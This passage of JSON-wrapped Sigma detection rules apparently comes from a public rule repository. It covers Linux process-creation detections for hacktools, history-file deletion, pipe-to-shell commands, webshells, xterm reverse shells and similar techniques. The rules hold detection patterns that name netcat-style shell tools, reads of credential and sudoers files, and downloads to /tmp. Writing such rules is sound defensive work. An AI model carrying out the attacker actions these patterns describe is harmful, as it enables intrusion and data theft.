"content": "title: Suspicious Git Clone - Linux\nid: cfec9d29-64ec-4a0f-9ffe-0fdb856d5446\nstatus: test\ndescription: Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious\nreferences:\n - https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-01-03\nmodified: 2023-01-05\ntags:\n - attack.reconnaissance\n - attack.t1593.003\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/git'\n CommandLine|contains: ' clone '\n selection_keyword:\n CommandLine|contains:\n # Add more suspicious keywords\n - 'exploit'\n - 'Vulns'\n - 'vulnerability'\n - 'RCE'\n - 'RemoteCodeExecution'\n - 'Invoke-'\n - 'CVE-'\n - 'poc-'\n - 'ProofOfConcept'\n # Add more vuln names\n - 'proxyshell'\n - 'log4shell'\n - 'eternalblue'\n - 'eternal-blue'\n - 'MS17-'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml",
"content": "title: History File Deletion\nid: 1182f3b3-e716-4efa-99ab-d2685d04360f\nstatus: test\ndescription: Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity\nreferences:\n - https://github.com/sleventyeleven/linuxprivchecker/\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-06-20\nmodified: 2022-09-15\ntags:\n - attack.impact\n - attack.t1565.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n - '/rm'\n - '/unlink'\n - '/shred'\n selection_history:\n - CommandLine|contains:\n - '/.bash_history'\n - '/.zsh_history'\n - CommandLine|endswith:\n - '_history'\n - '.history'\n - 'zhistory'\n condition: all of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml",
"content": "title: Print History File Contents\nid: d7821ff1-4527-4e33-9f84-d0d57fa2fb66\nstatus: test\ndescription: Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance\nreferences:\n - https://github.com/sleventyeleven/linuxprivchecker/\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-06-20\nmodified: 2022-09-15\ntags:\n - attack.reconnaissance\n - attack.t1592.004\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n - '/cat'\n - '/head'\n - '/tail'\n - '/more'\n selection_history:\n - CommandLine|contains:\n - '/.bash_history'\n - '/.zsh_history'\n - CommandLine|endswith:\n - '_history'\n - '.history'\n - 'zhistory'\n condition: all of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_hktl_execution.yml",
"content": "title: Linux HackTool Execution\nid: a015e032-146d-4717-8944-7a1884122111\nstatus: test\ndescription: Detects known hacktool execution based on image name.\nreferences:\n - https://github.com/Gui774ume/ebpfkit\n - https://github.com/pathtofile/bad-bpf\n - https://github.com/carlospolop/PEASS-ng\n - https://github.com/t3l3machus/hoaxshell\n - https://github.com/t3l3machus/Villain\n - https://github.com/HavocFramework/Havoc\n - https://github.com/1N3/Sn1per\n - https://github.com/Ne0nd0g/merlin\n - https://github.com/Pennyw0rth/NetExec/\nauthor: Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])\ndate: 2023-01-03\nmodified: 2024-09-19\ntags:\n - attack.execution\n - attack.resource-development\n - attack.t1587\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_c2_frameworks:\n Image|endswith:\n - '/crackmapexec'\n - '/havoc'\n - '/merlin-agent'\n - '/merlinServer-Linux-x64'\n - '/msfconsole'\n - '/msfvenom'\n - '/ps-empire server'\n - '/ps-empire'\n - '/sliver-client'\n - '/sliver-server'\n - '/Villain.py'\n selection_c2_framework_cobaltstrike:\n Image|contains:\n - '/cobaltstrike'\n - '/teamserver'\n selection_scanners:\n Image|endswith:\n - '/autorecon'\n - '/httpx'\n - '/legion'\n - '/naabu'\n - '/netdiscover'\n - '/nuclei'\n - '/recon-ng'\n selection_scanners_sniper:\n Image|contains: '/sniper'\n selection_web_enum:\n Image|endswith:\n - '/dirb'\n - '/dirbuster'\n - '/eyewitness'\n - '/feroxbuster'\n - '/ffuf'\n - '/gobuster'\n - '/wfuzz'\n - '/whatweb'\n selection_web_vuln:\n Image|endswith:\n - '/joomscan'\n - '/nikto'\n - '/wpscan'\n selection_exploit_tools:\n Image|endswith:\n - '/aircrack-ng'\n - '/bloodhound-python'\n - '/bpfdos'\n - '/ebpfki'\n - '/evil-winrm'\n - '/hashcat'\n - '/hoaxshell.py'\n - '/hydra'\n - '/john'\n - '/ncrack'\n # default binary: https://github.com/Pennyw0rth/NetExec/releases/download/v1.0.0/nxc-ubuntu-latest\n - '/nxc-ubuntu-latest'\n - '/pidhide'\n - '/pspy32'\n - '/pspy32s'\n - '/pspy64'\n - '/pspy64s'\n - '/setoolkit'\n - '/sqlmap'\n - '/writeblocker'\n selection_linpeas:\n # covers: all linux versions listed here: https://github.com/carlospolop/PEASS-ng/releases\n Image|contains: '/linpeas'\n condition: 1 of selection_*\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_inod_listing.yml",
"content": "title: Potential Container Discovery Via Inodes Listing\nid: 43e26eb5-cd58-48d1-8ce9-a273f5d298d8\nstatus: test\ndescription: Detects listing of the inodes of the \"/\" directory to determine if the we are running inside of a container.\nreferences:\n - https://blog.skyplabs.net/posts/container-detection/\n - https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker\ntags:\n - attack.discovery\n - attack.t1082\nauthor: Seth Hanford\ndate: 2023-08-23\nmodified: 2025-11-24\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_ls_img:\n Image|endswith: '/ls' # inode outside containers low, inside high\n selection_ls_cli:\n - CommandLine|endswith: ' /'\n - CommandLine|contains: ' / '\n selection_regex_inode:\n CommandLine|re: '(?:\\s-[^-\\s]{0,20}i|\\s--inode\\s)' # -i finds inode number\n selection_regex_dir:\n CommandLine|re: '(?:\\s-[^-\\s]{0,20}d|\\s--directory\\s)' # -d gets directory itself, not contents\n condition: all of selection_*\nfalsepositives:\n - Legitimate system administrator usage of these commands\n - Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml",
"content": "title: Interactive Bash Suspicious Children\nid: ea3ecad2-db86-4a89-ad0b-132a10d2db55\nstatus: test\ndescription: Detects suspicious interactive bash as a parent to rather uncommon child processes\nreferences:\n - Internal Research\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-03-14\ntags:\n - attack.execution\n - attack.defense-evasion\n - attack.t1059.004\n - attack.t1036\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n ParentCommandLine: 'bash -i'\n anomaly1:\n CommandLine|contains:\n - '-c import '\n - 'base64'\n - 'pty.spawn'\n anomaly2:\n Image|endswith:\n - 'whoami'\n - 'iptables'\n - '/ncat'\n - '/nc'\n - '/netcat'\n condition: selection and 1 of anomaly*\nfalsepositives:\n - Legitimate software that uses these patterns\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml",
"content": "title: Suspicious Java Children Processes\nid: d292e0af-9a18-420c-9525-ec0ac3936892\nstatus: test\ndescription: Detects java process spawning suspicious children\nreferences:\n - https://www.tecmint.com/different-types-of-linux-shells/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-06-03\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n ParentImage|endswith: '/java'\n CommandLine|contains:\n - '/bin/sh'\n - 'bash'\n - 'dash'\n - 'ksh'\n - 'zsh'\n - 'csh'\n - 'fish'\n - 'curl'\n - 'wget'\n - 'python'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_network_utilities_execution.yml",
"content": "title: Linux Network Service Scanning Tools Execution\nid: 3e102cd9-a70d-4a7a-9508-403963092f31\nstatus: test\ndescription: Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md\n - https://github.com/projectdiscovery/naabu\n - https://github.com/Tib3rius/AutoRecon\nauthor: Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])\ndate: 2020-10-21\nmodified: 2024-09-19\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_netcat:\n Image|endswith:\n - '/nc'\n - '/ncat'\n - '/netcat'\n - '/socat'\n selection_network_scanning_tools:\n Image|endswith:\n - '/autorecon'\n - '/hping'\n - '/hping2'\n - '/hping3'\n - '/naabu'\n - '/nmap'\n - '/nping'\n - '/telnet' # could be wget, curl, ssh, many things. basically everything that is able to do network connection. consider fine tuning\n - '/zenmap'\n filter_main_netcat_listen_flag:\n CommandLine|contains:\n - ' --listen '\n - ' -l '\n condition: (selection_netcat and not filter_main_netcat_listen_flag) or selection_network_scanning_tools\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml",
"content": "title: Linux Shell Pipe to Shell\nid: 880973f3-9708-491c-a77b-2a35a1921158\nstatus: test\ndescription: Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell\nreferences:\n - Internal Research\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-03-14\nmodified: 2022-07-26\ntags:\n - attack.defense-evasion\n - attack.t1140\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n CommandLine|startswith:\n - 'sh -c '\n - 'bash -c '\n selection_exec:\n - CommandLine|contains:\n - '| bash '\n - '| sh '\n - '|bash '\n - '|sh '\n - CommandLine|endswith:\n - '| bash'\n - '| sh'\n - '|bash'\n - ' |sh'\n condition: all of selection*\nfalsepositives:\n - Legitimate software that uses these patterns\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_process_reading_sudoers.yml",
"content": "title: Access of Sudoers File Content\nid: 0f79c4d2-4e1f-4683-9c36-b5469a665e06\nstatus: test\ndescription: Detects the execution of a text-based file access or inspection utilities to read the content of /etc/sudoers in order to potentially list all users that have sudo rights.\nreferences:\n - https://github.com/sleventyeleven/linuxprivchecker/\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-06-20\nmodified: 2025-06-04\ntags:\n - attack.reconnaissance\n - attack.t1592.004\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n - '/cat'\n - '/ed'\n - '/egrep'\n - '/emacs'\n - '/fgrep'\n - '/grep'\n - '/head'\n - '/less'\n - '/more'\n - '/nano'\n - '/tail'\n CommandLine|contains: ' /etc/sudoers'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml",
"content": "title: Linux Recon Indicators\nid: 0cf7a157-8879-41a2-8f55-388dd23746b7\nstatus: test\ndescription: Detects events with patterns found in commands used for reconnaissance on linux systems\nreferences:\n - https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-06-20\ntags:\n - attack.reconnaissance\n - attack.t1592.004\n - attack.credential-access\n - attack.t1552.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n CommandLine|contains:\n - ' -name .htpasswd'\n - ' -perm -4000 '\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_sensitive_file_access.yml",
"content": "title: Potential Suspicious Change To Sensitive/Critical Files\nid: 86157017-c2b1-4d4a-8c33-93b8e67e4af4\nstatus: test\ndescription: Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.\nreferences:\n - https://learn.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview#which-files-should-i-monitor\nauthor: '@d4ns4n_ (Wuerth-Phoenix)'\ndate: 2023-05-30\ntags:\n - attack.impact\n - attack.t1565.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img_1:\n Image|endswith:\n - '/cat'\n - '/echo'\n - '/grep'\n - '/head'\n - '/more'\n - '/tail'\n CommandLine|contains: '>'\n selection_img_2:\n Image|endswith:\n - '/emacs'\n - '/nano'\n - '/sed'\n - '/vi'\n - '/vim'\n selection_paths:\n CommandLine|contains:\n - '/bin/login'\n - '/bin/passwd'\n - '/boot/'\n - '/etc/*.conf'\n - '/etc/cron.' # Covers different cron config files \"daily\", \"hourly\", etc.\n - '/etc/crontab'\n - '/etc/hosts'\n - '/etc/init.d'\n - '/etc/sudoers'\n - '/opt/bin/'\n - '/sbin' # Covers: '/opt/sbin', '/usr/local/sbin/', '/usr/sbin/'\n - '/usr/bin/'\n - '/usr/local/bin/'\n condition: 1 of selection_img_* and selection_paths\nfalsepositives:\n - Some false positives are to be expected on user or administrator machines. Apply additional filters as needed.\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_shell_child_process_from_parent_tmp_folder.yml",
"content": "title: Shell Execution Of Process Located In Tmp Directory\nid: 2fade0b6-7423-4835-9d4f-335b39b83867\nstatus: test\ndescription: Detects execution of shells from a parent process located in a temporary (/tmp) directory\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.execution\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n ParentImage|startswith: '/tmp/'\n Image|endswith:\n - '/bash'\n - '/csh'\n - '/dash'\n - '/fish'\n - '/ksh'\n - '/sh'\n - '/zsh'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml",
"content": "title: Execution Of Script Located In Potentially Suspicious Directory\nid: 30bcce26-51c5-49f2-99c8-7b59e3af36c7\nstatus: test\ndescription: Detects executions of scripts located in potentially suspicious locations such as \"/tmp\" via a shell such as \"bash\", \"sh\", etc.\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.execution\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_img:\n Image|endswith:\n - '/bash'\n - '/csh'\n - '/dash'\n - '/fish'\n - '/ksh'\n - '/sh'\n - '/zsh'\n selection_flag:\n CommandLine|contains: ' -c '\n selection_paths:\n # Note: Add more suspicious paths\n CommandLine|contains: '/tmp/'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml",
"content": "title: System Information Discovery\nid: 42df45e7-e6e9-43b5-8f26-bec5b39cc239\nstatus: stable\ndescription: Detects system information discovery commands\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md\nauthor: Ömer Günal, oscd.community\ndate: 2020-10-08\nmodified: 2021-09-14\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n - '/uname'\n - '/hostname'\n - '/uptime'\n - '/lspci'\n - '/dmidecode'\n - '/lscpu'\n - '/lsmod'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml",
"content": "title: System Network Connections Discovery - Linux\nid: 4c519226-f0cd-4471-bd2f-6fbb2bb68a79\nstatus: test\ndescription: Detects usage of system utilities to discover system network connections\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2023-01-17\ntags:\n - attack.discovery\n - attack.t1049\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n - '/who'\n - '/w'\n - '/last'\n - '/lsof'\n - '/netstat'\n filter_landscape_sysinfo:\n ParentCommandLine|contains: '/usr/bin/landscape-sysinfo'\n Image|endswith: '/who'\n condition: selection and not 1 of filter_*\nfalsepositives:\n - Legitimate activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml",
"content": "title: System Network Discovery - Linux\nid: e7bd1cfa-b446-4c88-8afb-403bcd79e3fa\nstatus: test\ndescription: Detects enumeration of local network configuration\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md\nauthor: Ömer Günal and remotephone, oscd.community\ndate: 2020-10-06\nmodified: 2022-09-15\ntags:\n - attack.discovery\n - attack.t1016\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith:\n - '/firewall-cmd'\n - '/ufw'\n - '/iptables'\n - '/netstat'\n - '/ss'\n - '/ip'\n - '/ifconfig'\n - '/systemd-resolve'\n - '/route'\n selection_cli:\n CommandLine|contains: '/etc/resolv.conf'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_systemctl_mask_power_settings.yml",
"content": "title: Mask System Power Settings Via Systemctl\nid: c172b7b5-f3a1-4af2-90b7-822c63df86cb\nstatus: experimental\ndescription: |\n Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep.\n Adversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted.\n This behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.\nauthor: Milad Cheraghi, Nasreddine Bencherchali\ndate: 2025-10-17\nreferences:\n - https://www.man7.org/linux/man-pages/man1/systemctl.1.html\n - https://linux-audit.com/systemd/faq/what-is-the-difference-between-systemctl-disable-and-systemctl-mask/\ntags:\n - attack.persistence\n - attack.impact\n - attack.t1653\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_systemctl:\n Image|endswith: '/systemctl'\n CommandLine|contains: ' mask'\n selection_power_options:\n CommandLine|contains:\n - 'suspend.target'\n - 'hibernate.target'\n - 'hybrid-sleep.target'\n condition: all of selection_*\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_touch_susp.yml",
"content": "title: Touch Suspicious Service File\nid: 31545105-3444-4584-bebf-c466353230d2\nstatus: test\ndescription: Detects usage of the \"touch\" process in service file.\nreferences:\n - https://blogs.blackberry.com/\n - https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-01-11\ntags:\n - attack.defense-evasion\n - attack.t1070.006\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/touch'\n CommandLine|contains: ' -t '\n CommandLine|endswith: '.service'\n condition: selection\nfalsepositives:\n - Admin changing date of files.\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml",
"content": "title: Triple Cross eBPF Rootkit Execve Hijack\nid: 0326c3c8-7803-4a0f-8c5c-368f747f7c3e\nstatus: test\ndescription: Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges\nreferences:\n - https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-07-05\ntags:\n - attack.defense-evasion\n - attack.privilege-escalation\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/sudo'\n CommandLine|contains: 'execve_hijack'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml",
"content": "title: Triple Cross eBPF Rootkit Install Commands\nid: 22236d75-d5a0-4287-bf06-c93b1770860f\nstatus: test\ndescription: Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script\nreferences:\n - https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-07-05\ntags:\n - attack.defense-evasion\n - attack.t1014\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/sudo'\n CommandLine|contains|all:\n - ' tc '\n - ' enp0s3 '\n CommandLine|contains:\n - ' qdisc '\n - ' filter '\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_userdel.yml",
"content": "title: User Has Been Deleted Via Userdel\nid: 08f26069-6f80-474b-8d1f-d971c6fedea0\nstatus: test\ndescription: Detects execution of the \"userdel\" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks\nreferences:\n - https://linuxize.com/post/how-to-delete-group-in-linux/\n - https://www.cyberciti.biz/faq/linux-remove-user-command/\n - https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/\n - https://linux.die.net/man/8/userdel\nauthor: Tuan Le (NCSGroup)\ndate: 2022-12-26\ntags:\n - attack.impact\n - attack.t1531\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/userdel'\n condition: selection\nfalsepositives:\n - Legitimate administrator activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_usermod_susp_group.yml",
"content": "title: User Added To Root/Sudoers Group Using Usermod\nid: 6a50f16c-3b7b-42d1-b081-0fdd3ba70a73\nstatus: test\ndescription: Detects usage of the \"usermod\" binary to add users add users to the root or suoders groups\nreferences:\n - https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/\n - https://www.configserverfirewall.com/ubuntu-linux/ubuntu-add-user-to-root-group/\nauthor: TuanLe (GTSC)\ndate: 2022-12-21\ntags:\n - attack.privilege-escalation\n - attack.persistence\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/usermod'\n CommandLine|contains:\n - '-aG root'\n - '-aG sudoers'\n condition: selection\nfalsepositives:\n - Legitimate administrator activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_vim_shell_execution.yml",
"content": "title: Vim GTFOBin Abuse - Linux\nid: 7ab8f73a-fcff-428b-84aa-6a5ff7877dea\nstatus: test\ndescription: |\n Detects the use of \"vim\" and it's siblings commands to execute a shell or proxy commands.\n Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/vim/\n - https://gtfobins.github.io/gtfobins/rvim/\n - https://gtfobins.github.io/gtfobins/vimdiff/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-12-28\nmodified: 2024-09-02\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith:\n - '/rvim'\n - '/vim'\n - '/vimdiff'\n CommandLine|contains:\n - ' --cmd'\n - ' -c '\n selection_cli:\n CommandLine|contains:\n - ':!/'\n - ':lua '\n - ':py '\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml",
"content": "title: Linux Webshell Indicators\nid: 818f7b24-0fba-4c49-a073-8b755573b9c7\nstatus: test\ndescription: Detects suspicious sub processes of web server processes\nreferences:\n - https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/\n - https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF\nauthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)\ndate: 2021-10-15\nmodified: 2022-12-28\ntags:\n - attack.persistence\n - attack.t1505.003\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_general:\n ParentImage|endswith:\n - '/httpd'\n - '/lighttpd'\n - '/nginx'\n - '/apache2'\n - '/node'\n - '/caddy'\n selection_tomcat:\n ParentCommandLine|contains|all:\n - '/bin/java'\n - 'tomcat'\n selection_websphere: # ? just guessing\n ParentCommandLine|contains|all:\n - '/bin/java'\n - 'websphere'\n sub_processes:\n Image|endswith:\n - '/whoami'\n - '/ifconfig'\n - '/ip'\n - '/bin/uname'\n - '/bin/cat'\n - '/bin/crontab'\n - '/hostname'\n - '/iptables'\n - '/netstat'\n - '/pwd'\n - '/route'\n condition: 1 of selection_* and sub_processes\nfalsepositives:\n - Web applications that invoke Linux command line tools\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_wget_download_suspicious_directory.yml",
"content": "title: Download File To Potentially Suspicious Directory Via Wget\nid: cf610c15-ed71-46e1-bdf8-2bd1a99de6c4\nstatus: test\ndescription: Detects the use of wget to download content to a suspicious directory\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.command-and-control\n - attack.t1105\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/wget'\n selection_output:\n - CommandLine|re: '\\s-O\\s' # We use regex to ensure a case sensitive argument detection\n - CommandLine|contains: '--output-document'\n selection_path:\n CommandLine|contains: '/tmp/'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml",
"content": "title: Potential Xterm Reverse Shell\nid: 4e25af4b-246d-44ea-8563-e42aacab006b\nstatus: test\ndescription: Detects usage of \"xterm\" as a potential reverse shell tunnel\nreferences:\n - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n - https://www.revshells.com/\nauthor: '@d4ns4n_'\ndate: 2023-04-24\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|contains: 'xterm'\n CommandLine|contains: '-display'\n CommandLine|endswith: ':1'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/file_event/file_event_macos_emond_launch_daemon.yml",
"content": "title: MacOS Emond Launch Daemon\nid: 23c43900-e732-45a4-8354-63e4a6c187ce\nstatus: test\ndescription: Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md\n - https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-23\nmodified: 2021-11-27\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1546.014\nlogsource:\n category: file_event\n product: macos\ndetection:\n selection_1:\n TargetFilename|contains: '/etc/emond.d/rules/'\n TargetFilename|endswith: '.plist'\n selection_2:\n TargetFilename|contains: '/private/var/db/emondClients/'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/file_event/file_event_macos_susp_startup_item_created.yml",
